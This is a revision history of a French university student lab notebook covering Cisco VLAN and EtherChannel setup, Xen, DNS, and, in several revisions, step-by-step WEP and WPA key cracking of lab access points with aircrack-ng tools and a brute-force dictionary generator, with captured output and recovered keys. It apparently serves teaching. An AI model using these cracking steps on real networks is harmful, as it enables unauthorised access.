EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===<br /> <br /> Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.<br /> <br /> Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :<br /> <br /> #include &lt;stdio.h&gt;<br /> #include &lt;stdlib.h&gt;<br /> <br /> #define MAX_NUM 99999999<br /> <br /> int main(){<br /> long chiffre = 0;<br /> FILE* fp = NULL;<br /> fp = fopen(&quot;dictionnaire.txt&quot;,&quot;a+&quot;);<br /> if (fp != NULL){<br /> for (chiffre=0;chiffre&lt; MAX_NUM + 1;chiffre++)<br /> {<br /> fprintf(fp,&quot;%08li\n&quot;,chiffre);<br /> }<br /> fclose(fp);<br /> }<br /> return 0;<br /> }<br /> <br /> Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA : <br /> <br /> 1. On bascule l'interface wifi en mode monitor :<br /> airmon-ng start wlan2<br /> <br /> 2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :<br /> airodump-ng --encrypt WPA wlan2<br /> <br /> On obtient le résultat suivant :<br /> <br /> 00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille <br /> 00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests <br /> 00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1 <br /> 00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04 <br /> 04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03 <br /> 04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09 <br /> 04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01 <br /> 04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 <br /> 04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP PSK cracotte07 <br /> 04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10 <br /> 04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05 <br /> 04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08 <br /> 04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02 <br /> 04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests <br /> C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1 <br /> 04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt;<br /> <br /> 3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture <br /> <br /> airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05<br /> <br /> 4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :<br /> <br /> aircrack-ng -w dictionnaire.txt cracotte09-01.cap<br /> <br /> 5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :<br /> <br /> passphrase : 12399909</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Fichier:Dnssec.png&diff=35464 2016-11-28T13:08:15Z

<p>Rruet : a téléversé une nouvelle version de « Fichier:Dnssec.png »</p> <hr /> <div></div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Fichier:Dnssec.png&diff=35463 2016-11-28T13:06:30Z

<p>Rruet : </p> <hr /> <div></div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=34987 2016-11-07T11:19:51Z

<p>Rruet : /* Serveur DNS et DNSSEC avec bind */</p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.<br /> Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.<br /> A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :<br /> <br /> '''nom du serveur''' : ns.bielloumutherfucker.space<br /> <br /> '''IP''' : 193.48.57.167<br /> <br /> On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :<br /> <br /> '''DNS1''' : ns.bielloumutherfucker.space<br /> <br /> '''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)<br /> <br /> ...<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=34977 2016-11-07T11:02:44Z

<p>Rruet : </p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=34945 2016-11-07T08:37:28Z

<p>Rruet : /* Avancement du travail */</p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=34807 2016-10-24T09:50:42Z

